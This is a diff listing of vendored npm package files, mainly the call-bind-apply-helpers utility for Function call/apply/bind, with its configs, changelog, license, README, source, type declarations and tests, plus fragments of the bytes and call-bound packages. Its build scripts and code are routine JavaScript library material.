|
7 |
+
"Jed Watson <[email protected]>",
|
8 |
+
"Théo FIDRY <[email protected]>"
|
9 |
+
],
|
10 |
+
"license": "MIT",
|
11 |
+
"keywords": [
|
12 |
+
"byte",
|
13 |
+
"bytes",
|
14 |
+
"utility",
|
15 |
+
"parse",
|
16 |
+
"parser",
|
17 |
+
"convert",
|
18 |
+
"converter"
|
19 |
+
],
|
20 |
+
"repository": "visionmedia/bytes.js",
|
21 |
+
"devDependencies": {
|
22 |
+
"eslint": "7.32.0",
|
23 |
+
"eslint-plugin-markdown": "2.2.1",
|
24 |
+
"mocha": "9.2.0",
|
25 |
+
"nyc": "15.1.0"
|
26 |
+
},
|
27 |
+
"files": [
|
28 |
+
"History.md",
|
29 |
+
"LICENSE",
|
30 |
+
"Readme.md",
|
31 |
+
"index.js"
|
32 |
+
],
|
33 |
+
"engines": {
|
34 |
+
"node": ">= 0.8"
|
35 |
+
},
|
36 |
+
"scripts": {
|
37 |
+
"lint": "eslint .",
|
38 |
+
"test": "mocha --check-leaks --reporter spec",
|
39 |
+
"test-ci": "nyc --reporter=lcov --reporter=text npm test",
|
40 |
+
"test-cov": "nyc --reporter=html --reporter=text npm test"
|
41 |
+
}
|
42 |
+
}
|
node_modules/call-bind-apply-helpers/.eslintrc
ADDED
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"root": true,
|
3 |
+
|
4 |
+
"extends": "@ljharb",
|
5 |
+
|
6 |
+
"rules": {
|
7 |
+
"func-name-matching": 0,
|
8 |
+
"id-length": 0,
|
9 |
+
"new-cap": [2, {
|
10 |
+
"capIsNewExceptions": [
|
11 |
+
"GetIntrinsic",
|
12 |
+
],
|
13 |
+
}],
|
14 |
+
"no-extra-parens": 0,
|
15 |
+
"no-magic-numbers": 0,
|
16 |
+
},
|
17 |
+
}
|
node_modules/call-bind-apply-helpers/.github/FUNDING.yml
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# These are supported funding model platforms
|
2 |
+
|
3 |
+
github: [ljharb]
|
4 |
+
patreon: # Replace with a single Patreon username
|
5 |
+
open_collective: # Replace with a single Open Collective username
|
6 |
+
ko_fi: # Replace with a single Ko-fi username
|
7 |
+
tidelift: npm/call-bind-apply-helpers
|
8 |
+
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
|
9 |
+
liberapay: # Replace with a single Liberapay username
|
10 |
+
issuehunt: # Replace with a single IssueHunt username
|
11 |
+
otechie: # Replace with a single Otechie username
|
12 |
+
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
|
node_modules/call-bind-apply-helpers/.nycrc
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"all": true,
|
3 |
+
"check-coverage": false,
|
4 |
+
"reporter": ["text-summary", "text", "html", "json"],
|
5 |
+
"exclude": [
|
6 |
+
"coverage",
|
7 |
+
"test"
|
8 |
+
]
|
9 |
+
}
|
node_modules/call-bind-apply-helpers/CHANGELOG.md
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Changelog
|
2 |
+
|
3 |
+
All notable changes to this project will be documented in this file.
|
4 |
+
|
5 |
+
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
|
6 |
+
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
7 |
+
|
8 |
+
## [v1.0.2](https://github.com/ljharb/call-bind-apply-helpers/compare/v1.0.1...v1.0.2) - 2025-02-12
|
9 |
+
|
10 |
+
### Commits
|
11 |
+
|
12 |
+
- [types] improve inferred types [`e6f9586`](https://github.com/ljharb/call-bind-apply-helpers/commit/e6f95860a3c72879cb861a858cdfb8138fbedec1)
|
13 |
+
- [Dev Deps] update `@arethetypeswrong/cli`, `@ljharb/tsconfig`, `@types/tape`, `es-value-fixtures`, `for-each`, `has-strict-mode`, `object-inspect` [`e43d540`](https://github.com/ljharb/call-bind-apply-helpers/commit/e43d5409f97543bfbb11f345d47d8ce4e066d8c1)
|
14 |
+
|
15 |
+
## [v1.0.1](https://github.com/ljharb/call-bind-apply-helpers/compare/v1.0.0...v1.0.1) - 2024-12-08
|
16 |
+
|
17 |
+
### Commits
|
18 |
+
|
19 |
+
- [types] `reflectApply`: fix types [`4efc396`](https://github.com/ljharb/call-bind-apply-helpers/commit/4efc3965351a4f02cc55e836fa391d3d11ef2ef8)
|
20 |
+
- [Fix] `reflectApply`: oops, Reflect is not a function [`83cc739`](https://github.com/ljharb/call-bind-apply-helpers/commit/83cc7395de6b79b7730bdf092f1436f0b1263c75)
|
21 |
+
- [Dev Deps] update `@arethetypeswrong/cli` [`80bd5d3`](https://github.com/ljharb/call-bind-apply-helpers/commit/80bd5d3ae58b4f6b6995ce439dd5a1bcb178a940)
|
22 |
+
|
23 |
+
## v1.0.0 - 2024-12-05
|
24 |
+
|
25 |
+
### Commits
|
26 |
+
|
27 |
+
- Initial implementation, tests, readme [`7879629`](https://github.com/ljharb/call-bind-apply-helpers/commit/78796290f9b7430c9934d6f33d94ae9bc89fce04)
|
28 |
+
- Initial commit [`3f1dc16`](https://github.com/ljharb/call-bind-apply-helpers/commit/3f1dc164afc43285631b114a5f9dd9137b2b952f)
|
29 |
+
- npm init [`081df04`](https://github.com/ljharb/call-bind-apply-helpers/commit/081df048c312fcee400922026f6e97281200a603)
|
30 |
+
- Only apps should have lockfiles [`5b9ca0f`](https://github.com/ljharb/call-bind-apply-helpers/commit/5b9ca0fe8101ebfaf309c549caac4e0a017ed930)
|
node_modules/call-bind-apply-helpers/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
MIT License
|
2 |
+
|
3 |
+
Copyright (c) 2024 Jordan Harband
|
4 |
+
|
5 |
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6 |
+
of this software and associated documentation files (the "Software"), to deal
|
7 |
+
in the Software without restriction, including without limitation the rights
|
8 |
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9 |
+
copies of the Software, and to permit persons to whom the Software is
|
10 |
+
furnished to do so, subject to the following conditions:
|
11 |
+
|
12 |
+
The above copyright notice and this permission notice shall be included in all
|
13 |
+
copies or substantial portions of the Software.
|
14 |
+
|
15 |
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16 |
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17 |
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18 |
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19 |
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20 |
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21 |
+
SOFTWARE.
|
node_modules/call-bind-apply-helpers/README.md
ADDED
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# call-bind-apply-helpers <sup>[![Version Badge][npm-version-svg]][package-url]</sup>
|
2 |
+
|
3 |
+
[![github actions][actions-image]][actions-url]
|
4 |
+
[![coverage][codecov-image]][codecov-url]
|
5 |
+
[![dependency status][deps-svg]][deps-url]
|
6 |
+
[![dev dependency status][dev-deps-svg]][dev-deps-url]
|
7 |
+
[![License][license-image]][license-url]
|
8 |
+
[![Downloads][downloads-image]][downloads-url]
|
9 |
+
|
10 |
+
[![npm badge][npm-badge-png]][package-url]
|
11 |
+
|
12 |
+
Helper functions around Function call/apply/bind, for use in `call-bind`.
|
13 |
+
|
14 |
+
The only packages that should likely ever use this package directly are `call-bind` and `get-intrinsic`.
|
15 |
+
Please use `call-bind` unless you have a very good reason not to.
|
16 |
+
|
17 |
+
## Getting started
|
18 |
+
|
19 |
+
```sh
|
20 |
+
npm install --save call-bind-apply-helpers
|
21 |
+
```
|
22 |
+
|
23 |
+
## Usage/Examples
|
24 |
+
|
25 |
+
```js
|
26 |
+
const assert = require('assert');
|
27 |
+
const callBindBasic = require('call-bind-apply-helpers');
|
28 |
+
|
29 |
+
function f(a, b) {
|
30 |
+
assert.equal(this, 1);
|
31 |
+
assert.equal(a, 2);
|
32 |
+
assert.equal(b, 3);
|
33 |
+
assert.equal(arguments.length, 2);
|
34 |
+
}
|
35 |
+
|
36 |
+
const fBound = callBindBasic([f, 1]);
|
37 |
+
|
38 |
+
delete Function.prototype.call;
|
39 |
+
delete Function.prototype.bind;
|
40 |
+
|
41 |
+
fBound(2, 3);
|
42 |
+
```
|
43 |
+
|
44 |
+
## Tests
|
45 |
+
|
46 |
+
Clone the repo, `npm install`, and run `npm test`
|
47 |
+
|
48 |
+
[package-url]: https://npmjs.org/package/call-bind-apply-helpers
|
49 |
+
[npm-version-svg]: https://versionbadg.es/ljharb/call-bind-apply-helpers.svg
|
50 |
+
[deps-svg]: https://david-dm.org/ljharb/call-bind-apply-helpers.svg
|
51 |
+
[deps-url]: https://david-dm.org/ljharb/call-bind-apply-helpers
|
52 |
+
[dev-deps-svg]: https://david-dm.org/ljharb/call-bind-apply-helpers/dev-status.svg
|
53 |
+
[dev-deps-url]: https://david-dm.org/ljharb/call-bind-apply-helpers#info=devDependencies
|
54 |
+
[npm-badge-png]: https://nodei.co/npm/call-bind-apply-helpers.png?downloads=true&stars=true
|
55 |
+
[license-image]: https://img.shields.io/npm/l/call-bind-apply-helpers.svg
|
56 |
+
[license-url]: LICENSE
|
57 |
+
[downloads-image]: https://img.shields.io/npm/dm/call-bind-apply-helpers.svg
|
58 |
+
[downloads-url]: https://npm-stat.com/charts.html?package=call-bind-apply-helpers
|
59 |
+
[codecov-image]: https://codecov.io/gh/ljharb/call-bind-apply-helpers/branch/main/graphs/badge.svg
|
60 |
+
[codecov-url]: https://app.codecov.io/gh/ljharb/call-bind-apply-helpers/
|
61 |
+
[actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/call-bind-apply-helpers
|
62 |
+
[actions-url]: https://github.com/ljharb/call-bind-apply-helpers/actions
|
node_modules/call-bind-apply-helpers/actualApply.d.ts
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
export = Reflect.apply;
|
node_modules/call-bind-apply-helpers/actualApply.js
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
var bind = require('function-bind');
|
4 |
+
|
5 |
+
var $apply = require('./functionApply');
|
6 |
+
var $call = require('./functionCall');
|
7 |
+
var $reflectApply = require('./reflectApply');
|
8 |
+
|
9 |
+
/** @type {import('./actualApply')} */
|
10 |
+
module.exports = $reflectApply || bind.call($call, $apply);
|
node_modules/call-bind-apply-helpers/applyBind.d.ts
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import actualApply from './actualApply';
|
2 |
+
|
3 |
+
type TupleSplitHead<T extends any[], N extends number> = T['length'] extends N
|
4 |
+
? T
|
5 |
+
: T extends [...infer R, any]
|
6 |
+
? TupleSplitHead<R, N>
|
7 |
+
: never
|
8 |
+
|
9 |
+
type TupleSplitTail<T, N extends number, O extends any[] = []> = O['length'] extends N
|
10 |
+
? T
|
11 |
+
: T extends [infer F, ...infer R]
|
12 |
+
? TupleSplitTail<[...R], N, [...O, F]>
|
13 |
+
: never
|
14 |
+
|
15 |
+
type TupleSplit<T extends any[], N extends number> = [TupleSplitHead<T, N>, TupleSplitTail<T, N>]
|
16 |
+
|
17 |
+
declare function applyBind(...args: TupleSplit<Parameters<typeof actualApply>, 2>[1]): ReturnType<typeof actualApply>;
|
18 |
+
|
19 |
+
export = applyBind;
|
node_modules/call-bind-apply-helpers/applyBind.js
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
var bind = require('function-bind');
|
4 |
+
var $apply = require('./functionApply');
|
5 |
+
var actualApply = require('./actualApply');
|
6 |
+
|
7 |
+
/** @type {import('./applyBind')} */
|
8 |
+
module.exports = function applyBind() {
|
9 |
+
return actualApply(bind, $apply, arguments);
|
10 |
+
};
|
node_modules/call-bind-apply-helpers/functionApply.d.ts
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
export = Function.prototype.apply;
|
node_modules/call-bind-apply-helpers/functionApply.js
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
/** @type {import('./functionApply')} */
|
4 |
+
module.exports = Function.prototype.apply;
|
node_modules/call-bind-apply-helpers/functionCall.d.ts
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
export = Function.prototype.call;
|
node_modules/call-bind-apply-helpers/functionCall.js
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
/** @type {import('./functionCall')} */
|
4 |
+
module.exports = Function.prototype.call;
|
node_modules/call-bind-apply-helpers/index.d.ts
ADDED
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
type RemoveFromTuple<
|
2 |
+
Tuple extends readonly unknown[],
|
3 |
+
RemoveCount extends number,
|
4 |
+
Index extends 1[] = []
|
5 |
+
> = Index["length"] extends RemoveCount
|
6 |
+
? Tuple
|
7 |
+
: Tuple extends [infer First, ...infer Rest]
|
8 |
+
? RemoveFromTuple<Rest, RemoveCount, [...Index, 1]>
|
9 |
+
: Tuple;
|
10 |
+
|
11 |
+
type ConcatTuples<
|
12 |
+
Prefix extends readonly unknown[],
|
13 |
+
Suffix extends readonly unknown[]
|
14 |
+
> = [...Prefix, ...Suffix];
|
15 |
+
|
16 |
+
type ExtractFunctionParams<T> = T extends (this: infer TThis, ...args: infer P extends readonly unknown[]) => infer R
|
17 |
+
? { thisArg: TThis; params: P; returnType: R }
|
18 |
+
: never;
|
19 |
+
|
20 |
+
type BindFunction<
|
21 |
+
T extends (this: any, ...args: any[]) => any,
|
22 |
+
TThis,
|
23 |
+
TBoundArgs extends readonly unknown[],
|
24 |
+
ReceiverBound extends boolean
|
25 |
+
> = ExtractFunctionParams<T> extends {
|
26 |
+
thisArg: infer OrigThis;
|
27 |
+
params: infer P extends readonly unknown[];
|
28 |
+
returnType: infer R;
|
29 |
+
}
|
30 |
+
? ReceiverBound extends true
|
31 |
+
? (...args: RemoveFromTuple<P, Extract<TBoundArgs["length"], number>>) => R extends [OrigThis, ...infer Rest]
|
32 |
+
? [TThis, ...Rest] // Replace `this` with `thisArg`
|
33 |
+
: R
|
34 |
+
: <U, RemainingArgs extends RemoveFromTuple<P, Extract<TBoundArgs["length"], number>>>(
|
35 |
+
thisArg: U,
|
36 |
+
...args: RemainingArgs
|
37 |
+
) => R extends [OrigThis, ...infer Rest]
|
38 |
+
? [U, ...ConcatTuples<TBoundArgs, Rest>] // Preserve bound args in return type
|
39 |
+
: R
|
40 |
+
: never;
|
41 |
+
|
42 |
+
declare function callBind<
|
43 |
+
const T extends (this: any, ...args: any[]) => any,
|
44 |
+
Extracted extends ExtractFunctionParams<T>,
|
45 |
+
const TBoundArgs extends Partial<Extracted["params"]> & readonly unknown[],
|
46 |
+
const TThis extends Extracted["thisArg"]
|
47 |
+
>(
|
48 |
+
args: [fn: T, thisArg: TThis, ...boundArgs: TBoundArgs]
|
49 |
+
): BindFunction<T, TThis, TBoundArgs, true>;
|
50 |
+
|
51 |
+
declare function callBind<
|
52 |
+
const T extends (this: any, ...args: any[]) => any,
|
53 |
+
Extracted extends ExtractFunctionParams<T>,
|
54 |
+
const TBoundArgs extends Partial<Extracted["params"]> & readonly unknown[]
|
55 |
+
>(
|
56 |
+
args: [fn: T, ...boundArgs: TBoundArgs]
|
57 |
+
): BindFunction<T, Extracted["thisArg"], TBoundArgs, false>;
|
58 |
+
|
59 |
+
declare function callBind<const TArgs extends readonly unknown[]>(
|
60 |
+
args: [fn: Exclude<TArgs[0], Function>, ...rest: TArgs]
|
61 |
+
): never;
|
62 |
+
|
63 |
+
// export as namespace callBind;
|
64 |
+
export = callBind;
|
node_modules/call-bind-apply-helpers/index.js
ADDED
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
var bind = require('function-bind');
|
4 |
+
var $TypeError = require('es-errors/type');
|
5 |
+
|
6 |
+
var $call = require('./functionCall');
|
7 |
+
var $actualApply = require('./actualApply');
|
8 |
+
|
9 |
+
/** @type {(args: [Function, thisArg?: unknown, ...args: unknown[]]) => Function} TODO FIXME, find a way to use import('.') */
|
10 |
+
module.exports = function callBindBasic(args) {
|
11 |
+
if (args.length < 1 || typeof args[0] !== 'function') {
|
12 |
+
throw new $TypeError('a function is required');
|
13 |
+
}
|
14 |
+
return $actualApply(bind, $call, args);
|
15 |
+
};
|
node_modules/call-bind-apply-helpers/package.json
ADDED
@@ -0,0 +1,85 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "call-bind-apply-helpers",
|
3 |
+
"version": "1.0.2",
|
4 |
+
"description": "Helper functions around Function call/apply/bind, for use in `call-bind`",
|
5 |
+
"main": "index.js",
|
6 |
+
"exports": {
|
7 |
+
".": "./index.js",
|
8 |
+
"./actualApply": "./actualApply.js",
|
9 |
+
"./applyBind": "./applyBind.js",
|
10 |
+
"./functionApply": "./functionApply.js",
|
11 |
+
"./functionCall": "./functionCall.js",
|
12 |
+
"./reflectApply": "./reflectApply.js",
|
13 |
+
"./package.json": "./package.json"
|
14 |
+
},
|
15 |
+
"scripts": {
|
16 |
+
"prepack": "npmignore --auto --commentLines=auto",
|
17 |
+
"prepublish": "not-in-publish || npm run prepublishOnly",
|
18 |
+
"prepublishOnly": "safe-publish-latest",
|
19 |
+
"prelint": "evalmd README.md",
|
20 |
+
"lint": "eslint --ext=.js,.mjs .",
|
21 |
+
"postlint": "tsc -p . && attw -P",
|
22 |
+
"pretest": "npm run lint",
|
23 |
+
"tests-only": "nyc tape 'test/**/*.js'",
|
24 |
+
"test": "npm run tests-only",
|
25 |
+
"posttest": "npx npm@'>=10.2' audit --production",
|
26 |
+
"version": "auto-changelog && git add CHANGELOG.md",
|
27 |
+
"postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""
|
28 |
+
},
|
29 |
+
"repository": {
|
30 |
+
"type": "git",
|
31 |
+
"url": "git+https://github.com/ljharb/call-bind-apply-helpers.git"
|
32 |
+
},
|
33 |
+
"author": "Jordan Harband <[email protected]>",
|
34 |
+
"license": "MIT",
|
35 |
+
"bugs": {
|
36 |
+
"url": "https://github.com/ljharb/call-bind-apply-helpers/issues"
|
37 |
+
},
|
38 |
+
"homepage": "https://github.com/ljharb/call-bind-apply-helpers#readme",
|
39 |
+
"dependencies": {
|
40 |
+
"es-errors": "^1.3.0",
|
41 |
+
"function-bind": "^1.1.2"
|
42 |
+
},
|
43 |
+
"devDependencies": {
|
44 |
+
"@arethetypeswrong/cli": "^0.17.3",
|
45 |
+
"@ljharb/eslint-config": "^21.1.1",
|
46 |
+
"@ljharb/tsconfig": "^0.2.3",
|
47 |
+
"@types/for-each": "^0.3.3",
|
48 |
+
"@types/function-bind": "^1.1.10",
|
49 |
+
"@types/object-inspect": "^1.13.0",
|
50 |
+
"@types/tape": "^5.8.1",
|
51 |
+
"auto-changelog": "^2.5.0",
|
52 |
+
"encoding": "^0.1.13",
|
53 |
+
"es-value-fixtures": "^1.7.1",
|
54 |
+
"eslint": "=8.8.0",
|
55 |
+
"evalmd": "^0.0.19",
|
56 |
+
"for-each": "^0.3.5",
|
57 |
+
"has-strict-mode": "^1.1.0",
|
58 |
+
"in-publish": "^2.0.1",
|
59 |
+
"npmignore": "^0.3.1",
|
60 |
+
"nyc": "^10.3.2",
|
61 |
+
"object-inspect": "^1.13.4",
|
62 |
+
"safe-publish-latest": "^2.0.0",
|
63 |
+
"tape": "^5.9.0",
|
64 |
+
"typescript": "next"
|
65 |
+
},
|
66 |
+
"testling": {
|
67 |
+
"files": "test/index.js"
|
68 |
+
},
|
69 |
+
"auto-changelog": {
|
70 |
+
"output": "CHANGELOG.md",
|
71 |
+
"template": "keepachangelog",
|
72 |
+
"unreleased": false,
|
73 |
+
"commitLimit": false,
|
74 |
+
"backfillLimit": false,
|
75 |
+
"hideCredit": true
|
76 |
+
},
|
77 |
+
"publishConfig": {
|
78 |
+
"ignore": [
|
79 |
+
".github/workflows"
|
80 |
+
]
|
81 |
+
},
|
82 |
+
"engines": {
|
83 |
+
"node": ">= 0.4"
|
84 |
+
}
|
85 |
+
}
|
node_modules/call-bind-apply-helpers/reflectApply.d.ts
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
declare const reflectApply: false | typeof Reflect.apply;
|
2 |
+
|
3 |
+
export = reflectApply;
|
node_modules/call-bind-apply-helpers/reflectApply.js
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
/** @type {import('./reflectApply')} */
|
4 |
+
module.exports = typeof Reflect !== 'undefined' && Reflect && Reflect.apply;
|
node_modules/call-bind-apply-helpers/test/index.js
ADDED
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
'use strict';
|
2 |
+
|
3 |
+
var callBind = require('../');
|
4 |
+
var hasStrictMode = require('has-strict-mode')();
|
5 |
+
var forEach = require('for-each');
|
6 |
+
var inspect = require('object-inspect');
|
7 |
+
var v = require('es-value-fixtures');
|
8 |
+
|
9 |
+
var test = require('tape');
|
10 |
+
|
11 |
+
test('callBindBasic', function (t) {
|
12 |
+
forEach(v.nonFunctions, function (nonFunction) {
|
13 |
+
t['throws'](
|
14 |
+
// @ts-expect-error
|
15 |
+
function () { callBind([nonFunction]); },
|
16 |
+
TypeError,
|
17 |
+
inspect(nonFunction) + ' is not a function'
|
18 |
+
);
|
19 |
+
});
|
20 |
+
|
21 |
+
var sentinel = { sentinel: true };
|
22 |
+
/** @type {<T, A extends number, B extends number>(this: T, a: A, b: B) => [T | undefined, A, B]} */
|
23 |
+
var func = function (a, b) {
|
24 |
+
// eslint-disable-next-line no-invalid-this
|
25 |
+
return [!hasStrictMode && this === global ? undefined : this, a, b];
|
26 |
+
};
|
27 |
+
t.equal(func.length, 2, 'original function length is 2');
|
28 |
+
|
29 |
+
/** type {(thisArg: unknown, a: number, b: number) => [unknown, number, number]} */
|
30 |
+
var bound = callBind([func]);
|
31 |
+
/** type {((a: number, b: number) => [typeof sentinel, typeof a, typeof b])} */
|
32 |
+
var boundR = callBind([func, sentinel]);
|
33 |
+
/** type {((b: number) => [typeof sentinel, number, typeof b])} */
|
34 |
+
var boundArg = callBind([func, sentinel, /** @type {const} */ (1)]);
|
35 |
+
|
36 |
+
// @ts-expect-error
|
37 |
+
t.deepEqual(bound(), [undefined, undefined, undefined], 'bound func with no args');
|
38 |
+
|
39 |
+
// @ts-expect-error
|
40 |
+
t.deepEqual(func(), [undefined, undefined, undefined], 'unbound func with too few args');
|
41 |
+
// @ts-expect-error
|
42 |
+
t.deepEqual(bound(1, 2), [hasStrictMode ? 1 : Object(1), 2, undefined], 'bound func too few args');
|
43 |
+
// @ts-expect-error
|
44 |
+
t.deepEqual(boundR(), [sentinel, undefined, undefined], 'bound func with receiver, with too few args');
|
45 |
+
// @ts-expect-error
|
46 |
+
t.deepEqual(boundArg(), [sentinel, 1, undefined], 'bound func with receiver and arg, with too few args');
|
47 |
+
|
48 |
+
t.deepEqual(func(1, 2), [undefined, 1, 2], 'unbound func with right args');
|
49 |
+
t.deepEqual(bound(1, 2, 3), [hasStrictMode ? 1 : Object(1), 2, 3], 'bound func with right args');
|
50 |
+
t.deepEqual(boundR(1, 2), [sentinel, 1, 2], 'bound func with receiver, with right args');
|
51 |
+
t.deepEqual(boundArg(2), [sentinel, 1, 2], 'bound func with receiver and arg, with right arg');
|
52 |
+
|
53 |
+
// @ts-expect-error
|
54 |
+
t.deepEqual(func(1, 2, 3), [undefined, 1, 2], 'unbound func with too many args');
|
55 |
+
// @ts-expect-error
|
56 |
+
t.deepEqual(bound(1, 2, 3, 4), [hasStrictMode ? 1 : Object(1), 2, 3], 'bound func with too many args');
|
57 |
+
// @ts-expect-error
|
58 |
+
t.deepEqual(boundR(1, 2, 3), [sentinel, 1, 2], 'bound func with receiver, with too many args');
|
59 |
+
// @ts-expect-error
|
60 |
+
t.deepEqual(boundArg(2, 3), [sentinel, 1, 2], 'bound func with receiver and arg, with too many args');
|
61 |
+
|
62 |
+
t.end();
|
63 |
+
});
|
node_modules/call-bind-apply-helpers/tsconfig.json
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"extends": "@ljharb/tsconfig",
|
3 |
+
"compilerOptions": {
|
4 |
+
"target": "es2021",
|
5 |
+
},
|
6 |
+
"exclude": [
|
7 |
+
"coverage",
|
8 |
+
],
|
9 |
+
}
|
node_modules/call-bound/.eslintrc
ADDED
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"root": true,
|
3 |
+
|
4 |
+
"extends": "@ljharb",
|
5 |
+
|
6 |
+
"rules": {
|
7 |
+
"new-cap": [2, {
|
8 |
+
"capIsNewExceptions": [
|
9 |
+
"GetIntrinsic",
|
10 |
+
],
|
11 |
+
}],
|
12 |
+
},
|
13 |
+
}
|
node_modules/call-bound/.github/FUNDING.yml
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# These are supported funding model platforms
|
2 |
+
|
3 |
+
github: [ljharb]
|
4 |
+
patreon: # Replace with a single Patreon username
|
5 |
+
open_collective: # Replace with a single Open Collective username
|
6 |
+
ko_fi: # Replace with a single Ko-fi username
|
7 |
+
tidelift: npm/call-bound
|
8 |
+
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
|
9 |
+
liberapay: # Replace with a single Liberapay username
|
10 |
+
issuehunt: # Replace with a single IssueHunt username
|
11 |
+
otechie: # Replace with a single Otechie username
|
12 |
+
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
|
